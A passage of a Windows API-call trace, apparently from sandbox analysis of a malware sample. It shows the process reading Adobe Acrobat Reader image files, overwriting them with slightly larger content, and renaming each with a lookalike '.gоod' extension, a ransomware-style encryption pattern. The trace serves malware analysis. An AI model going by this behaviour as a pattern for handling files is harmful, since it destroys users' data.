ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.405] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0170.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0170.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0170.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar", lpFilePart=0x0) returned 0x68 [0170.405] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.406] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.406] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0170.407] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0170.408] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 0 [0170.408] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0170.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0170.408] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", lpFilePart=0x0) returned 0x77 [0170.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0170.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png"), fInfoLevelId=0x0, lpFileInformation=0x33f0f88 | out: lpFileInformation=0x33f0f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129)) returned 1 [0170.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0170.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", lpFilePart=0x0) returned 0x77 [0170.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0170.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0170.410] GetFileType (hFile=0x650) returned 0x1 [0170.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0170.410] GetFileType (hFile=0x650) returned 0x1 [0170.410] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x129 [0170.410] ReadFile (in: hFile=0x650, lpBuffer=0x33f1420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x33f1420*, lpNumberOfBytesRead=0x1fdeb9b8*=0x129, lpOverlapped=0x0) returned 1 [0170.411] CloseHandle (hObject=0x650) returned 1 [0170.625] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", lpFilePart=0x0) returned 0x77 [0170.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0170.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.627] GetFileType (hFile=0x640) returned 0x1 [0170.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0170.627] GetFileType (hFile=0x640) returned 0x1 [0170.627] WriteFile (in: hFile=0x640, lpBuffer=0x347fff0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x347fff0*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x130, lpOverlapped=0x0) returned 1 [0170.628] CloseHandle (hObject=0x640) returned 1 [0170.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png", lpFilePart=0x0) returned 0x77 [0170.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png.gоod", lpFilePart=0x0) returned 0x7c [0170.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0170.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61e9cd73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0170.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0170.628] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png.gоod")) returned 1 [0170.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", lpFilePart=0x0) returned 0x77 [0170.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0170.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png"), fInfoLevelId=0x0, lpFileInformation=0x34813b0 | out: lpFileInformation=0x34813b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129)) returned 1 [0170.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0170.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", lpFilePart=0x0) returned 0x77 [0170.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0170.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0170.760] GetFileType (hFile=0x7fc) returned 0x1 [0170.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0170.760] GetFileType (hFile=0x7fc) returned 0x1 [0170.760] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x129 [0170.760] ReadFile (in: hFile=0x7fc, lpBuffer=0x337c200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x337c200*, lpNumberOfBytesRead=0x1fdeb9b8*=0x129, lpOverlapped=0x0) returned 1 [0170.761] CloseHandle (hObject=0x7fc) returned 1 [0170.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", lpFilePart=0x0) returned 0x77 [0170.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0170.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0170.829] GetFileType (hFile=0x7fc) returned 0x1 [0170.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0170.829] GetFileType (hFile=0x7fc) returned 0x1 [0170.829] WriteFile (in: hFile=0x7fc, lpBuffer=0x33f3f00*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x33f3f00*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x130, lpOverlapped=0x0) returned 1 [0170.830] CloseHandle (hObject=0x7fc) returned 1 [0170.830] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png", lpFilePart=0x0) returned 0x77 [0170.830] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png.gоod", lpFilePart=0x0) returned 0x7c [0170.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0170.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6208cc1d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0170.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0170.830] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png.gоod")) returned 1 [0170.831] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", lpFilePart=0x0) returned 0x78 [0170.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0170.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png"), fInfoLevelId=0x0, lpFileInformation=0x33f52c0 | out: lpFileInformation=0x33f52c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a)) returned 1 [0171.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0171.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", lpFilePart=0x0) returned 0x78 [0171.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0171.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0171.070] GetFileType (hFile=0x768) returned 0x1 [0171.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0171.070] GetFileType (hFile=0x768) returned 0x1 [0171.070] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x12a [0171.070] ReadFile (in: hFile=0x768, lpBuffer=0x34051e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x34051e8*, lpNumberOfBytesRead=0x1fdeb9b8*=0x12a, lpOverlapped=0x0) returned 1 [0171.071] CloseHandle (hObject=0x768) returned 1 [0171.128] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", lpFilePart=0x0) returned 0x78 [0171.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0171.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.129] GetFileType (hFile=0x640) returned 0x1 [0171.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0171.129] GetFileType (hFile=0x640) returned 0x1 [0171.129] WriteFile (in: hFile=0x640, lpBuffer=0x34fb7e0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x34fb7e0*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x130, lpOverlapped=0x0) returned 1 [0171.130] CloseHandle (hObject=0x640) returned 1 [0171.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png", lpFilePart=0x0) returned 0x78 [0171.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png.gоod", lpFilePart=0x0) returned 0x7d [0171.130] SetThreadErrorMode (dwNewMode=0x1, 